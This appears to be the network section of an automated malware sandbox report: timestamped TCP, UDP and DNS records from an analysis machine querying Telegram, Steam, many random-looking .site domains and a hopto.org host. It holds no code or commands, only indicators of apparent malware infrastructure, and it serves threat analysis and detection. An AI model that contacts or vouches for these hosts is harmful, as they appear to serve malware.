Sep 30, 2024 13:59:56.429033041 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.429095030 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.441477060 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.487406969 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.542524099 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:56.542567968 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:56.542654991 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:56.544110060 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:56.544125080 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:56.623729944 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.623755932 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.623799086 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.623831034 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.623877048 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.623877048 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.623893023 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.623893023 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.625914097 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.625929117 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.635668993 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:56.640645027 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:56.640714884 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:56.641005993 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:56.646291018 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:57.018311024 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.018384933 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.021910906 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.021922112 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.022202969 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.070051908 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.092020988 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.092048883 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.092159986 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.534821987 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.534950018 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.535044909 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.536185026 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.536185026 CEST	49735	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.536201000 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.536209106 CEST	443	49735	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.553816080 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.553867102 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.554039955 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.554909945 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:57.554924011 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:57.574222088 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:57.574356079 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:57.604192019 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:57.609035015 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.014904976 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.015027046 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.016302109 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.016314983 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.016546011 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.018153906 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.018153906 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.018224955 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.145477057 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.145569086 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:58.146826029 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:58.151660919 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.480590105 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.480674028 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.483688116 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.483733892 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.483763933 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.483798981 CEST	49737	443	192.168.2.6	172.67.205.129
Sep 30, 2024 13:59:58.483807087 CEST	443	49737	172.67.205.129	192.168.2.6
Sep 30, 2024 13:59:58.506676912 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.506699085 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:58.508018017 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.508637905 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.508652925 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:58.686136007 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.686150074 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.686208963 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:58.687500954 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:58.692287922 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:58.991786003 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:58.991874933 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.993335962 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.993345022 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:58.993571043 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:58.994952917 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.994986057 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:58.995033026 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:59.234601974 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234616995 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234661102 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234675884 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:59.234714031 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:59.234769106 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234780073 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234791994 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234802008 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.234848976 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:59.323008060 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.323067904 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:59.327681065 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:59.332479954 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.458750963 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:59.458849907 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:59.458893061 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:59.460119963 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:59.460119963 CEST	49738	443	192.168.2.6	104.21.1.169
Sep 30, 2024 13:59:59.460143089 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:59.460160017 CEST	443	49738	104.21.1.169	192.168.2.6
Sep 30, 2024 13:59:59.526391029 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:59.526432037 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:59.526501894 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:59.527432919 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:59.527450085 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:59.888196945 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:59.888549089 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:00.068005085 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:00.068053007 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:00.072879076 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.072895050 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.072953939 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.073030949 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.073040962 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.073091030 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.073101997 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.073111057 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.188807011 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.188889980 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.190687895 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.190699100 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.190906048 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.192372084 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.239398003 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.696665049 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.696693897 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.696708918 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.696726084 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.696755886 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.696769953 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.696796894 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.796823025 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.796840906 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.796914101 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.796943903 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.796962976 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.796997070 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802078009 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.802134991 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802143097 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.802181005 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802182913 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.802225113 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802292109 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802304983 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.802314043 CEST	49739	443	192.168.2.6	104.102.49.254
Sep 30, 2024 14:00:00.802319050 CEST	443	49739	104.102.49.254	192.168.2.6
Sep 30, 2024 14:00:00.804168940 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:00.804209948 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:00.804285049 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:00.804702997 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:00.804713964 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:00.812793970 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:00.812850952 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:00.862906933 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:00.868066072 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:01.289782047 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.289845943 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.291271925 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.291280031 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.291532993 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.292920113 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.292946100 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.292979002 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.396760941 CEST	80	49736	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:01.397075891 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:01.818721056 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.818829060 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.818902016 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.886538029 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.886569023 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:01.886584044 CEST	49740	443	192.168.2.6	188.114.97.3
Sep 30, 2024 14:00:01.886590004 CEST	443	49740	188.114.97.3	192.168.2.6
Sep 30, 2024 14:00:03.946496010 CEST	49736	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:04.377109051 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:04.377151012 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:04.377235889 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:04.379667997 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:04.379678965 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:05.818770885 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:05.818941116 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:05.866306067 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:05.866322041 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:05.866899014 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:05.866976976 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:05.868243933 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:05.915399075 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.077965975 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.077985048 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.078053951 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.078085899 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.078085899 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:06.078120947 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:06.078142881 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:06.078439951 CEST	49741	443	192.168.2.6	149.154.167.99
Sep 30, 2024 14:00:06.078458071 CEST	443	49741	149.154.167.99	192.168.2.6
Sep 30, 2024 14:00:06.081732988 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:06.086600065 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:06.086684942 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:06.086846113 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:06.091598988 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:06.997042894 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:06.997205973 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:07.037322044 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:07.042216063 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:07.588357925 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:07.588458061 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:07.590332985 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:07.595171928 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.134238005 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.134257078 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.134354115 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.220654011 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.220732927 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.221991062 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.226753950 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790281057 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790317059 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790328979 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790360928 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.790368080 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790380955 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.790384054 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790395975 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.790409088 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.790436983 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.876950979 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:08.877055883 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.878263950 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:08.883114100 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:09.418886900 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:09.418942928 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:10.000134945 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:10.000188112 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:10.005613089 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005625963 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005635023 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005642891 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005666971 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005676031 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005683899 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.005692005 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.669635057 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:10.669698954 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:10.722754002 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:10.727588892 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:11.242073059 CEST	80	49742	5.42.101.62	192.168.2.6
Sep 30, 2024 14:00:11.242145061 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:13.305932999 CEST	49742	80	192.168.2.6	5.42.101.62
Sep 30, 2024 14:00:27.414783955 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 14:00:32.312619925 CEST	49733	80	192.168.2.6	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 13:59:16.838799000 CEST	64397	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:16.845648050 CEST	53	64397	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:17.914781094 CEST	58067	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:18.009471893 CEST	53	58067	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:37.272366047 CEST	58342	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:37.564904928 CEST	53	58342	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:39.186315060 CEST	61772	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:39.197660923 CEST	53	61772	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:39.200105906 CEST	55694	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:39.212569952 CEST	53	55694	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:39.216685057 CEST	54047	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:39.228416920 CEST	53	54047	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:39.230539083 CEST	61956	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:39.245301008 CEST	53	61956	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:40.287869930 CEST	53947	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:40.297791958 CEST	53	53947	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:40.319044113 CEST	54474	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:40.329687119 CEST	53	54474	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:40.373964071 CEST	65202	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:40.391017914 CEST	53	65202	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:40.399914980 CEST	65362	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:40.412494898 CEST	53	65362	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:40.422745943 CEST	50411	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:40.430049896 CEST	53	50411	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:41.747313976 CEST	49943	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:41.758681059 CEST	53	49943	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:43.456262112 CEST	55537	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:43.467329025 CEST	53	55537	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:56.505774975 CEST	65241	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:56.519737959 CEST	53	65241	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:57.539427042 CEST	56603	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:57.549274921 CEST	53	56603	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:58.488645077 CEST	50547	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:58.504532099 CEST	53	50547	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:59.461853027 CEST	62987	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:59.470731974 CEST	53	62987	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:59.473614931 CEST	56073	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:59.483779907 CEST	53	56073	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:59.489085913 CEST	58215	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:59.498153925 CEST	53	58215	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:59.501234055 CEST	59938	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:59.511554956 CEST	53	59938	1.1.1.1	192.168.2.6
Sep 30, 2024 13:59:59.515074015 CEST	57163	53	192.168.2.6	1.1.1.1
Sep 30, 2024 13:59:59.525485992 CEST	53	57163	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 13:59:16.838799000 CEST	192.168.2.6	1.1.1.1	0x5219	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:17.914781094 CEST	192.168.2.6	1.1.1.1	0x71be	Standard query (0)	urusvisa.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:37.272366047 CEST	192.168.2.6	1.1.1.1	0x77e7	Standard query (0)	files.veritas.org.ng	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.186315060 CEST	192.168.2.6	1.1.1.1	0x7058	Standard query (0)	possiwreeste.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.200105906 CEST	192.168.2.6	1.1.1.1	0xe494	Standard query (0)	famikyjdiag.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.216685057 CEST	192.168.2.6	1.1.1.1	0x536d	Standard query (0)	commandejorsk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:39.230539083 CEST	192.168.2.6	1.1.1.1	0xadea	Standard query (0)	underlinemdsj.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.287869930 CEST	192.168.2.6	1.1.1.1	0x6322	Standard query (0)	bellykmrebk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.319044113 CEST	192.168.2.6	1.1.1.1	0x6442	Standard query (0)	agentyanlark.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.373964071 CEST	192.168.2.6	1.1.1.1	0x2881	Standard query (0)	writekdmsnu.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.399914980 CEST	192.168.2.6	1.1.1.1	0x400e	Standard query (0)	delaylacedmn.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:40.422745943 CEST	192.168.2.6	1.1.1.1	0x1349	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:41.747313976 CEST	192.168.2.6	1.1.1.1	0x668d	Standard query (0)	chaptermusu.store	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:43.456262112 CEST	192.168.2.6	1.1.1.1	0x72ac	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:56.505774975 CEST	192.168.2.6	1.1.1.1	0xc7d7	Standard query (0)	possiwreeste.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 13:59:57.539427042 CEST	192.168.2.6	1.1.1.1	0x9b3d	Standard query (0)	famikyjdiag.site	A (IP address)	IN (0x0001)	false
